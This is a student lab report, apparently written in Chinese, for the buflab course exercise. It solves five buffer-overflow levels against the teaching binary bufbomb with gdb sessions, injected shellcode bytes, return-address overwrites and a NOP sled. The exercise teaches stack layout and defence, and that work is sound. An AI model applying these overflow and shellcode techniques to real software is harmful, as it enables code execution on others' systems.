实验题目

buflab

实验目的

  1. 通过本次实验熟悉IA-32调用约定和堆栈组织。
  2. 学习缓冲区溢出攻击原理,对实验室目录中的一个可执行文件应用一系列的缓冲区溢出攻击。
  3. 通过实验获得使用通常用于利用操作系统网络服务器中的安全弱点的常用方法之一的第一手经验。
  4. 了解程序的运行时操作,并了解这种形式的安全弱点的本质,以便在编写系统代码时可以避免它。

实验环境

个人PC、Linux 32位操作系统、Ubuntu16.04

实验内容

准备阶段

  • 在linux系统中将实验压缩包解压并找到实验所用到的实验文件夹buflab-handout,打开文件夹得到bufbomb、hex2raw、makecookie文件;
    在这里插入图片描述

  • 阅读README等实验相关材料,通过各种方式了解实验的相关内容和过程;

  • 检查buflab-handout中的三个文件,发现三个文件皆不能查看里面的内容,猜测有的是用来执行的,有的应该是要用到反汇编工具查看其中汇编代码。

bufbomb 有缓冲区溢出漏洞的程序,是要攻击的文件;
makecookie 是基于个人 id 生成的身份数据;
hex2raw 让自己编写的漏洞代码转化为一个字符串的格式;

  • 将bufbomb文件反汇编并生成.s文件(objdump -d bufbomb > bufbomb.s),这样可以在bufbomb.s中结合gdb进行分析;
  • 使用makecookie利用自己的id生成一个“cookie”。
kate@ubuntu:~/buflab-handout$ ./makecookie gates
0x3c39f4e6
  • 本实验一共有5个关卡,整个实验是针对getbuf具有的漏洞展开的,getbuf函数类似于gets函数,它是读入一段字符串,字符串以\n或者eof表示结束,并把其存储起来。getbuf提供的缓冲区只有32个字符大小,但是getbuf本身又对输入的字符是否超过缓冲区大小进行安全检查,从而带来了缓冲区溢出漏洞。

注意点:

  1. getbuf遇到换行就会认为输入停止,而换行\n的对应的ASCII值是0x0a,所以不可以输入的字符串中含有0x0a
  2. 格式转换要注意每次输入的都是两个数字,比如你要输入0,就要输入00。
  3. 小端格式输入。

分析阶段

Level0

题目要求:test 函数在调用 getbuf 函数时,本来这个程序会按照惯例返回 test 函数,但是我们要做的就是当 getbuf 函数执行 return 语句时跳转执行 smoke 的代码,而不是返回 test 函数。

实现原理: 当getbuf函数在运行的时候,其会开辟一段栈帧,其中有一段是输入字符的缓冲区,我们只要输入超出缓冲区大小的字符串来把缓冲区填满,超出部分覆盖getbuf的返回地址,而这部分恰恰是用smoke的入口地址覆盖,这样当程序就不会正常返回而是根据你的返回地址跳转到返回地址对应的内容并执行。这题的关键需要确定栈的大小和需要覆盖的字节数。
实现过程:

  1. 查看getbuf反汇编代码,观察其缓冲区情况。
08049262 <getbuf>:
 8049262:	55                   	push   %ebp
 8049263:	89 e5                	mov    %esp,%ebp
 8049265:	83 ec 38             	sub    $0x38,%esp
 8049268:	8d 45 d8             	lea    -0x28(%ebp),%eax
 804926b:	89 04 24             	mov    %eax,(%esp)
 804926e:	e8 bf f9 ff ff       	call   8048c32 <Gets>
 8049273:	b8 01 00 00 00       	mov    $0x1,%eax
 8049278:	c9                   	leave  
 8049279:	c3                   	ret    
 804927a:	90                   	nop
 804927b:	90                   	nop
 804927c:	90                   	nop
 804927d:	90                   	nop
 804927e:	90                   	nop
 804927f:	90                   	nop

由上述代码可知,输入字符串buf的存放位置为$ebp-0x28,这里从buf的起始地址到返回地址总共有48个字节,前40个字节是存放正常输入的内容,Gets()从输入流中获取一个字符串,并将其存储到其目标地址(buf)。但是,Gets()无法确定buf是否足够大以存储整个输入。它只是复制整个输入字符串,可能会超出分配给buf的内存。只要我们再输入4个字节,就可以把保存的旧ebp覆盖,再输入4个字节,那么我们就可以把返回地址覆盖,要调用smoke函数,只要最后4个字节我们要填入smoke函数的起始地址就可以了;

栈帧位置
getbuf()返回地址
旧ebp
传入的数据-4
传入的数据-8
传入的数据-0x28
  1. 查看smoke函数起始地址。
 08048e0a <smoke>:
 8048e0a:	55                   	push   %ebp
 8048e0b:	89 e5                	mov    %esp,%ebp
 8048e0d:	83 ec 18             	sub    $0x18,%esp
 8048e10:	c7 44 24 04 fe a2 04 	movl   $0x804a2fe,0x4(%esp)
 8048e17:	08 
 8048e18:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048e1f:	e8 6c fb ff ff       	call   8048990 <__printf_chk@plt>
 8048e24:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048e2b:	e8 50 04 00 00       	call   8049280 <validate>
 8048e30:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048e37:	e8 94 fa ff ff       	call   80488d0 <exit@plt>

smoke函数起始地址为0x08048e0a

  1. 新建一个文本文件,输入要填充的内容。
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 0b 8e 04 08

前面填充的44个字节随便输入,不影响结果,但后面的4个字节须输入smoke的返回地址。
需要注意两点:

  1. 小端法输入
  2. 不能输入0a,这个是换行的ASCII码,代表输入结束,我们可不希望他在这里输入结束,所以我们输入0b来代替,反正这个也是跳到smoke函数里面去了,push %ebp 这一步不影响结果。
  1. 执行代码,查看结果。
kate@ubuntu:~/buflab-handout$ ./hex2raw < level0.txt | ./bufbomb -u gates
Userid: gates
Cookie: 0x3c39f4e6
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
  1. 通过Level0!
Level1

题目要求: Level1的任务是让bufbombtest函数中调用getbuf,当getbuf执行return语句时跳转执行fizz的代码,而不是返回test函数。

实现原理: 我们要做的依然是将getbuf函数输入溢出,先输入44个无关字节,然后输入fizz函数的地址,让getbuf函数跳到fizz函数里面执行。但此时我们要注意的是fizz函数要传入参数,所以我们还要找到fizz函数传参的地址。
实现过程:

  1. 查看fizz函数汇编代码。
08048daf <fizz>:
 8048daf:	55                   	push   %ebp
 8048db0:	89 e5                	mov    %esp,%ebp
 8048db2:	83 ec 18             	sub    $0x18,%esp
 8048db5:	8b 45 08             	mov    0x8(%ebp),%eax
 8048db8:	3b 05 04 d1 04 08    	cmp    0x804d104,%eax
 8048dbe:	75 26                	jne    8048de6 <fizz+0x37>
 8048dc0:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048dc4:	c7 44 24 04 e0 a2 04 	movl   $0x804a2e0,0x4(%esp)
 8048dcb:	08 
 8048dcc:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048dd3:	e8 b8 fb ff ff       	call   8048990 <__printf_chk@plt>
 8048dd8:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048ddf:	e8 9c 04 00 00       	call   8049280 <validate>
 8048de4:	eb 18                	jmp    8048dfe <fizz+0x4f>
 8048de6:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048dea:	c7 44 24 04 d4 a4 04 	movl   $0x804a4d4,0x4(%esp)
 8048df1:	08 
 8048df2:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048df9:	e8 92 fb ff ff       	call   8048990 <__printf_chk@plt>
 8048dfe:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048e05:	e8 c6 fa ff ff       	call   80488d0 <exit@plt>

根据汇编代码可以发现,fizz函数入口地址为08048daf。

  1. 找到fizz函数传参地址。
 8048db2:	83 ec 18             	sub    $0x18,%esp
 8048db5:	8b 45 08             	mov    0x8(%ebp),%eax

fizz函数将ebp+8的地址里面内容传入该函数中。因为是通过缓冲区溢出直接执行fizz函数而不是call fizz函数,所以栈不会自动将返回地址压栈,即参数应该放在 旧%ebp+12 的位置。所以我们要在返回地址处输入fizz的地址,再输入4个无关字节,然后输入我们要传入的参数,该参数是我们自己的cookie。

栈帧说明
test()保存的返回地址
test()保存的旧ebp
fizz()要调用的参数这里要改为我们的cookie
4个字节随便填充
getbuf()保存的返回地址改为fizz()函数执行地址
getbuf()保存的旧ebpebp
buf()首地址输入数据从这里开始保存
  1. 新建一个文本,根据前面所说输入内容。
kate@ubuntu:~/buflab-handout$ touch level1.txt
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 af 8d 04 08 00 00
00 00 e6 f4 39 3c
  1. 执行代码,查看结果。
kate@ubuntu:~/buflab-handout$ ./hex2raw < level1.txt | ./bufbomb -u gates
Userid: gates
Cookie: 0x3c39f4e6
Type string:Fizz!: You called fizz(0x3c39f4e6)
VALID
NICE JOB!
  1. 通过Level1!
Level2

题目要求: 在我们执行test时,调用完getbuf不返回到test,而是执行bang函数,但该函数用到的参数是一个全局变量,在执行bang函数之前需要设计该全局变量为我们自己id的“cookie”。

实现原理: 通过前两题的方法来修改返回地址,通过自己编写汇编代码的方法来实现修改全局变量,但我们需要将汇编代码转为机器代码,然后写入到要输入的文本中。

实现过程:

  1. 查看bang汇编代码。
08048d52 <bang>:
 8048d52:	55                   	push   %ebp
 8048d53:	89 e5                	mov    %esp,%ebp
 8048d55:	83 ec 18             	sub    $0x18,%esp
 8048d58:	a1 0c d1 04 08       	mov    0x804d10c,%eax
 8048d5d:	3b 05 04 d1 04 08    	cmp    0x804d104,%eax
 8048d63:	75 26                	jne    8048d8b <bang+0x39>
 8048d65:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048d69:	c7 44 24 04 ac a4 04 	movl   $0x804a4ac,0x4(%esp)
 8048d70:	08 
 8048d71:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048d78:	e8 13 fc ff ff       	call   8048990 <__printf_chk@plt>
 8048d7d:	c7 04 24 02 00 00 00 	movl   $0x2,(%esp)
 8048d84:	e8 f7 04 00 00       	call   8049280 <validate>
 8048d89:	eb 18                	jmp    8048da3 <bang+0x51>
 8048d8b:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048d8f:	c7 44 24 04 c2 a2 04 	movl   $0x804a2c2,0x4(%esp)
 8048d96:	08 
 8048d97:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048d9e:	e8 ed fb ff ff       	call   8048990 <__printf_chk@plt>
 8048da3:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048daa:	e8 21 fb ff ff       	call   80488d0 <exit@plt>

bang函数地址为0x08048d52,bang函数会使用到参数 global_value ,我们要做的就是把这个全局参数改为自己的 cookie 。

  1. 先找到位置global_value的位置
 8048d55:	83 ec 18             	sub    $0x18,%esp
 8048d58:	a1 0c d1 04 08       	mov    0x804d10c,%eax

查看bang函数汇编代码,寻找需要传内容的代码行,找到上述汇编代码,可以基本断定,0x804d10c就是 global_value存储地址。

  1. 修改 global_value 这个全局变量,将其改为我们的cookie,因为没有函数可以供我们使用去修改内存的值,所以根据实验文档,我们需要自己编写一段代码进行修改。

  2. 新建一个文件,并编写汇编代码

kate@ubuntu:~/buflab-handout$ touch change_value.s
# 编写的汇编代码
movl $0x3c39f4e6, 0x804d10c #将自己的cookie值利用mov指令立即数传值直接传到存储global_value的地址里面。
push $0x8048d52 #将bang入口地址压栈
ret             #返回到bang继续执行
  1. 因为本次实验是通过字符输入的方式来进行的,所以我们还需要将汇编代码转换为机器码。
kate@ubuntu:~/buflab-handout$ gcc -m32 -c change_value.s
kate@ubuntu:~/buflab-handout$ objdump -d change_value.o >change_value.d

change_value.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:	c7 05 0c d1 04 08 e6 	movl   $0x3c39f4e6,0x804d10c
   7:	f4 39 3c 
   a:	68 52 8d 04 08       	push   $0x8048d52
   f:	c3                   	ret    

机器码的作用是执行到它时,修改全局变量的值并进入bang函数,执行getbuf函数的时候修改返回地址,使getbuf执行完毕后,继续执行这个函数,执行完这个函数就自动执行bang函数,完成了题目的要求。

  1. 我们需要将生成的机器码放入buf的首地址来运行,通过gdb调试来查看buf首地址。
kate@ubuntu:~/buflab-handout$ gdb -q bufbomb
Reading symbols from /home/kate/buflab-handout/bufbomb...(no debugging symbols found)...done.

(gdb) b getbuf
Breakpoint 1 at 0x8049268

(gdb) r -u gates
Starting program: /home/kate/buflab-handout/bufbomb -u gates
Userid: gates
Cookie: 0x3c39f4e6
Breakpoint 1, 0x08049268 in getbuf ()

(gdb) disassem
Dump of assembler code for function getbuf:
   0x08049262 <+0>:	push   %ebp
   0x08049263 <+1>:	mov    %esp,%ebp
   0x08049265 <+3>:	sub    $0x38,%esp
=> 0x08049268 <+6>:	lea    -0x28(%ebp),%eax
   0x0804926b <+9>:	mov    %eax,(%esp)
   0x0804926e <+12>:	call   0x8048c32 <Gets>
   0x08049273 <+17>:	mov    $0x1,%eax
   0x08049278 <+22>:	leave  
   0x08049279 <+23>:	ret    
End of assembler dump.

(gdb) ni
0x0804926b in getbuf ()

(gdb) p/x $eax
$1 = 0x55683e78

我们注意到这条指令:0x08049268 <+6>: lea -0x28(%ebp),%eaxgetbuf() 函数中将-0x28(%ebp)值传给eax,这就是开辟栈帧的操作,为的就是后面的调用 Get() 函数后,用来读取40个字节。所以做完开辟栈帧这一步得到的eax其实就是 Get() 函数存放数据的首地址,我们要想程序读到我们自己写的机器码,就要程序跑到这个首地址去执行,所以我们要用于覆盖的返回地址的值就是0x55683e78

  1. 新建文本文件,将前面输入部分改为自己的机器代码,当40个字节全部输入完之后,接着输入的内容会覆盖当前栈帧保存的ebp,这个与我们这一关无关,将ebp的内容随便输入4个字节,接着输入的内容会覆盖返回地址,也就是这段程序结束后即将执行的下一条指令的地址,我们将返回地址用0x55683e78覆盖。
kate@ubuntu:~/buflab-handout$ touch level2.txt
c7 05 0c d1 04 08 e6 f4 39 3c 
68 52 8d 04 08 c3 00 00 00 00 
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 78 3e 68 55

对输入文件构成进行解析:首先是机器码,将我们需要执行的机器码放在最开始,这样当程序读到这里的时候就会执行我们需要其执行的指令。然后我们用这段机器码保存的首地址来覆盖返回地址,这样程序就会跳到这里去执行机器码了。

  1. 执行代码,查看结果。
kate@ubuntu:~/buflab-handout$ ./hex2raw < level2.txt | ./bufbomb -u gates
Userid: gates
Cookie: 0x3c39f4e6
Type string:Bang!: You set global_value to 0x3c39f4e6
VALID
NICE JOB!
  1. 通过Level2!
Level3

题目要求: 之前的几关我们是通过缓冲区溢出的方法跳入其他函数,而在本任务中我们希望 getbuf() 结束后回到 test() 原本的位置。在每次执行 getbuf 函数的时候,我们的返回值是1,这次我们需要将返回值设置为我们自己用户id的“ cookie ”;同时恢复原本 %ebp 的值,返回到 test 函数中继续执行。

实现原理: getbuf()函数在被调用时,程序的返回值被存储在%eax寄存器中,当getbuf()执行完,就会去%eax取值返回执行。因此,要想返回cookie,我们只要修改eax的值就可以。同上题一样,我们要修改函数的返回值,也要在栈上编写机器码。

实现过程:

  1. 首先明确任务,我们需要做3件事:
  • 修改部分:
    • 将eax修改为为自己的cookie;
  • 恢复部分:
    • 改完后需将ebp修改回原来的ebp;
    • 将下一条指令的地址改回原来的下一条指令的地址。
栈帧位置
原test()函数esp
getbuf()函数保存的返回地址
getbuf()函数保存的ebpgetbuf()栈帧ebp
  1. 查看test()汇编代码,追踪getbuf()函数的调用。
08048e3c <test>:
#......
 8048e4b:	e8 12 04 00 00       	call   8049262 <getbuf>
 8048e50:	89 c3                	mov    %eax,%ebx
#......

test() 函数在0x8048e4b处调用 getbuf() 函数,返回地址为0x8048e50,这是我们要恢复的下一条指令的地址。

  1. 为了编写汇编代码,我们还需要知道要恢复的ebp寄存器的值,这个可以利用gdb调试来查看。
kate@ubuntu:~/buflab-handout$ gdb -q bufbomb
Reading symbols from /home/kate/buflab-handout/bufbomb...(no debugging symbols found)...done.

(gdb) b* 0x8048e4b
Breakpoint 1 at 0x8048e4b

(gdb) r -u gates
Starting program: /home/kate/buflab-handout/bufbomb -u gates
Userid: gates
Cookie: 0x3c39f4e6

Breakpoint 1, 0x08048e4b in test ()
(gdb) i r $ebp
ebp            0x55683ed0	0x55683ed0

观察上述调试指令,我们是在0x8048e4b处设置了一个断点,为什么呢?我们先看这个地址里面是那一条指令: 8048e4b: e8 12 04 00 00 call 8049262 <getbuf>,这是 test() 函数里面对 getbuf() 函数的调用指令,我们在此处设置断点,就是为了查看 getbuf() 函数调用之前的ebp的值,因为我们到时候要回到的 test() 这个函数,所以我们在此处设置断点,查看此时的ebp的值就是我们将要编写的汇编代码里面要给ebp赋的值。

  1. 新建文件,编写代码。
kate@ubuntu:~/buflab-handout$ touch level3.s
# 汇编代码

movl $0x3c39f4e6, %eax   #设置返回值为cookie
movl $0x55683ed0, %ebp   #恢复原ebp的值
push $0x8048e50          #返回后下一条指令的地址
ret                      #返回
  1. 将汇编代码转换为机器码。
  • 指令:
kate@ubuntu:~/buflab-handout$ gcc -m32 -c level3.s
kate@ubuntu:~/buflab-handout$ objdump -d level3.o >level3.d
  • 结果:

level3.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:	b8 e6 f4 39 3c       	mov    $0x3c39f4e6,%eax
   5:	bd d0 3e 68 55       	mov    $0x55683ed0,%ebp
   a:	68 50 8e 04 08       	push   $0x8048e50
   f:	c3                   	ret    
  1. 新建一个文本,输入我们得到的机器码,以及进行缓冲区溢出输入,改变返回地址。
kate@ubuntu:~/buflab-handout$ touch level3.txt
b8 e6 f4 39 3c bd d0 3e 68 55 
68 50 8e 04 08 c3 00 00 00 00   
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 78 3e 68 55
  1. 执行指令,验证结果。
kate@ubuntu:~/buflab-handout$ ./hex2raw < level3.txt | ./bufbomb -u gates
Userid: gates
Cookie: 0x3c39f4e6
Type string:Boom!: getbuf returned 0x3c39f4e6
VALID
NICE JOB!
  1. 通过Level3!

  2. 补充方法2:我们对于ebp的修改工作也可以不采用代码修改的方式,而是直接利用缓冲区溢出覆盖的原理,直接把原来的ebp覆盖为我们要修改成的ebp。

  3. 新建文件,写入汇编代码,这次我们不必写ebp赋值这一行代码,其它的跟前面方法一一样。

kate@ubuntu:~/buflab-handout$ touch level3-1.s
# 汇编代码
movl $0x3c39f4e6, %eax   #设置返回值为cookie
push $0x8048e50          #返回后下一条指令的地址
ret             #返回
  1. 转换为机器码。
  • 指令:
kate@ubuntu:~/buflab-handout$ gcc -m32 -c level3-1.s
kate@ubuntu:~/buflab-handout$ objdump -d level3-1.o >level3-1.d
  • 结果:

level3-1.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:	b8 e6 f4 39 3c       	mov    $0x3c39f4e6,%eax
   5:	68 50 8e 04 08       	push   $0x8048e50
   a:	c3                   	ret    
  1. 新建一个文本,输入我们得到的机器码,以及进行缓冲区溢出输入,在4144个字节处输入ebp的值,在4548个字节处输入返回地址,使程序跳到机器码执行,注意输入采用小端法。
kate@ubuntu:~/buflab-handout$ touch level3-1.txt
b8 e6 f4 39 3c 68 50 8e 04 08 
c3 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
d0 3e 68 55 78 3e 68 55
  1. 执行指令,验证结果。
kate@ubuntu:~/buflab-handout$ ./hex2raw < level3-1.txt | ./bufbomb -u gates
Userid: gates
Cookie: 0x3c39f4e6
Type string:Boom!: getbuf returned 0x3c39f4e6
VALID
NICE JOB!
  1. 结果是正确的,方法二亦可行!
Level4

题目要求: 这个实验是前面一个实验的进阶版,为了运行这个阶段,要使用“-n”指令进入“Nitro”模式,程序没有再调用 getbuf() ,而是调用了另一个函数 getbufn() ,在“Nitro”模式下,getbufn() 函数将被调用5次,每次调用的%ebp值都是不同的,我们要做的是将每次 getbufn() 的返回值都修改为我们用户id的“Cookie”值,并且在执行完之后恢复ebp的值,同时恢复返回地址,使其能够正常回到 testn() 函数中继续执行。

实现原理: 对于这一题,我们实现的方法与前面的基本差不多,但本题增加了难度,本题要求我们进行5次的修改返回值并且进行5次的恢复ebp,但每次的ebp是不同的,所以难点就在于怎么样去确定每一次的ebp。

分析过程:

  1. 首先明确任务,跟前面一样,我们需要做3件事:
  • 修改部分:
    • 将eax修改为为自己的cookie;
  • 恢复部分:
    • 改完后需将ebp修改回原来的ebp;
    • 将下一条指令的地址改回原来的下一条指令的地址。

这样的事情程序会执行5次,其中修改部分每次都是一样的,但每一次分配给testn()函数的ebp是不同的,也就是说,我们不能像上一题一样直接将一个确定的地址赋值给ebp来还原ebp了。同时,Get()存储字符的首地址也在发生变化,我们也不能确定首地址在哪里,但是我们可以通过gdb调试得到每次的首地址。

栈帧位置
原test()函数ebp
原test()函数esp
getbuf()函数保存的返回地址
getbuf()函数保存的ebpgetbuf()栈帧ebp
  1. 查看testn()汇编代码。
08048cce <testn>:
 8048cce:	55                   	push   %ebp
 8048ccf:	89 e5                	mov    %esp,%ebp
 8048cd1:	53                   	push   %ebx
 8048cd2:	83 ec 24             	sub    $0x24,%esp
 8048cd5:	e8 3e ff ff ff       	call   8048c18 <uniqueval>
 8048cda:	89 45 f4             	mov    %eax,-0xc(%ebp)
 8048cdd:	e8 62 05 00 00       	call   8049244 <getbufn>
 8048ce2:	89 c3                	mov    %eax,%ebx
#......

可以看到,在testn()调用getbufn()之前除了保存旧栈帧操作之外,进行了一次压栈操作以及开辟0x24个空间的操作,故而有ebp=esp+0x28而当getbufn()函数执行结束关闭栈帧的时候,栈顶指针esp会回到原处,所以虽然我们不能通过直接将一个地址赋给ebp来还原栈底指针,但我们可以通过ebp=esp+0x28这个关系来将ebp还原。

  1. 下一个我们要解决的问题是找到Get()函数保存输入的字符的首地址,以便我们往其中写入攻击程序的机器码。当然,这个首地址是变化的。
  • 查看getbufn()汇编代码。
08049244 <getbufn>:
 8049244:	55                   	push   %ebp
 8049245:	89 e5                	mov    %esp,%ebp
 8049247:	81 ec 18 02 00 00    	sub    $0x218,%esp
 804924d:	8d 85 f8 fd ff ff    	lea    -0x208(%ebp),%eax
 8049253:	89 04 24             	mov    %eax,(%esp)
 8049256:	e8 d7 f9 ff ff       	call   8048c32 <Gets>

 804925b:	b8 01 00 00 00       	mov    $0x1,%eax
 8049260:	c9                   	leave  
 8049261:	c3                   	ret    

通过汇编代码,我们可以发现,getbufn()在调用Get()函数之前开辟了0x208个地址空间,即520个字节,这是Get()函数在这一关中正常读入的字节数。前面我们说过Get()函数每一次读入数据时首地址不同(首地址与getbufn()的栈帧位置相关,而后者是变化的),所以我们需要找到5次读入数据的首地址。

  1. 调试getbufn()函数,找每次存放数据首地址。
kate@ubuntu:~/buflab-handout$ gdb -q bufbomb
Reading symbols from /home/kate/buflab-handout/bufbomb...(no debugging symbols found)...done.

(gdb) b *0x8049247
Breakpoint 1 at 0x8049247

(gdb) r -n -u gates
Starting program: /home/kate/buflab-handout/bufbomb -n -u gates
Userid: gates
Cookie: 0x3c39f4e6

Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x ($ebp-0x208)
$1 = 0x55683c98

上述调试就是在调用Get()函数之前设置断点,找出这一次存放数据的首地址的位置。因为调用Get()函数需要开辟0x208个地址空间,那么getbufn()函数的ebp与Get()函数存放数据的首地址就应该存在这样的关系:首地址=ebp-0x208,我们直接用 p/x ($ebp-0x208)查看首地址的位置。

  1. 重复5次上述操作,找出每次的数据存放首地址。
kate@ubuntu:~/buflab-handout$ gdb -q bufbomb
Reading symbols from /home/kate/buflab-handout/bufbomb...(no debugging symbols found)...done.

(gdb) b *0x8049247
Breakpoint 1 at 0x8049247

(gdb) r -n -u gates
Starting program: /home/kate/buflab-handout/bufbomb -n -u gates
Userid: gates
Cookie: 0x3c39f4e6

Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x ($ebp-0x208)
$1 = 0x55683c98

(gdb) c
Continuing.
Type string:
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x ($ebp-0x208)
$2 = 0x55683c78

(gdb) c
Continuing.
Type string:
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x ($ebp-0x208)
$3 = 0x55683c18

(gdb) c
Continuing.
Type string:
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x ($ebp-0x208)
$4 = 0x55683c48

(gdb) c
Continuing.
Type string:
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x ($ebp-0x208)
$5 = 0x55683c78

在求出第一个ebp之后,输入c继续,然后随便输入一个字符,继续之后便会爆炸,此时程序便跳到了第二次输入,如法炮制,我们一共获得5次输入时的ebp,求出对应首地址。

输入12345
首地址0x55683c980x55683c780x55683c180x55683c480x55683c78

我们看到,首地址在发生变化,那我们要怎样才能确保程序正确跳到我们输入的机器码去运行呢?我们可以看到,首地址虽然在发生变化,但毕竟就是这几个数,而且最大与最小相差没有达到0x208,所以我们可以不像上次那样将机器码放在文件首端,而是放在输入内容的后面部分,接着在机器码的前面填满空指令nop(对应机器码0x90),即使前面任何一个地址作为首地址,也只是会先执行一段空指令,最终还会来到我们的机器码去执行。

当然,我们在填写输入内容的时候,最后要填的跳转地址可不是上面5个随便一个,而是要填最大那个,确保每次程序无论怎么跳都能跳进你输入的内容里面。如果不填最大那个,当程序运行的某一次的首地址比你填的那个要大,那么程序在跳转到你的那个地址时就不是跳到你输入的内容里面去了,而是其它不知道什么地方。

  1. 接下来,我们可以编写汇编代码了。
kate@ubuntu:~/buflab-handout$ touch level4.s
# 汇编代码
movl $0x3c39f4e6, %eax   #设置返回值为cookie
leal 0x28(%esp), %ebp    #恢复原ebp的值
push $0x8048ce2          #返回后下一条指令的地址
ret                      #返回
  1. 转换为机器码:
kate@ubuntu:~/buflab-handout$ gcc -m32 -c level4.s
kate@ubuntu:~/buflab-handout$ objdump -d level4.o >level4.d

level4.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:	b8 e6 f4 39 3c       	mov    $0x3c39f4e6,%eax
   5:	8d 6c 24 28          	lea    0x28(%esp),%ebp
   9:	68 e2 8c 04 08       	push   $0x8048ce2
   e:	c3                   	ret    
  1. 新建文件,输入字符。
kate@ubuntu:~/buflab-handout$ touch level4.txt
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 

b8 e6 f4 39 3c 8d 6c 24 28 68
e2 8c 04 08 c3 
98 3c 68 55

组成:509个90 + 15个机器码 + 最大的返回地址(小端法)

  1. 输入指令,验证结果
kate@ubuntu:~/buflab-handout$ ./hex2raw  < level4.txt -n | ./bufbomb -n -u gates
Userid: gates
Cookie: 0x3c39f4e6
Type string:KABOOM!: getbufn returned 0x3c39f4e6
Keep going
Type string:KABOOM!: getbufn returned 0x3c39f4e6
Keep going
Type string:KABOOM!: getbufn returned 0x3c39f4e6
Keep going
Type string:KABOOM!: getbufn returned 0x3c39f4e6
Keep going
Type string:KABOOM!: getbufn returned 0x3c39f4e6
VALID
NICE JOB!
  1. 通过Level4!

实验心得

  • 通过本次实验,我深深地明白了编写程序一定不能马虎。本次实验如此多的攻击类型都是基于 Get() 函数输入的字符没有限制而导致的溢出并覆盖原来的栈帧,这是多么危险的一件事!
  • 在本次实验中,我学会了利用gdb调试来获取某些关键的信息,比如将断点设置在程序运行到某个恰到好处的点的时候,然后在此时查看一些寄存器的值。
  • 通过这次实验,我对程序运行时栈帧结构的变化有了一个更深入的了解。
  • 在本次实验中,我也掌握了这个比较基础的缓冲区溢出攻击的方法,为将来的漏洞攻击以及安全维护相关知识的进一步学习打好基础。
  • “知己知彼,百战不殆”,通过这次缓冲区溢出攻击实验,我初步了解到一些黑客是如何进行攻击的,也思考了怎样去避免这种攻击。
Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐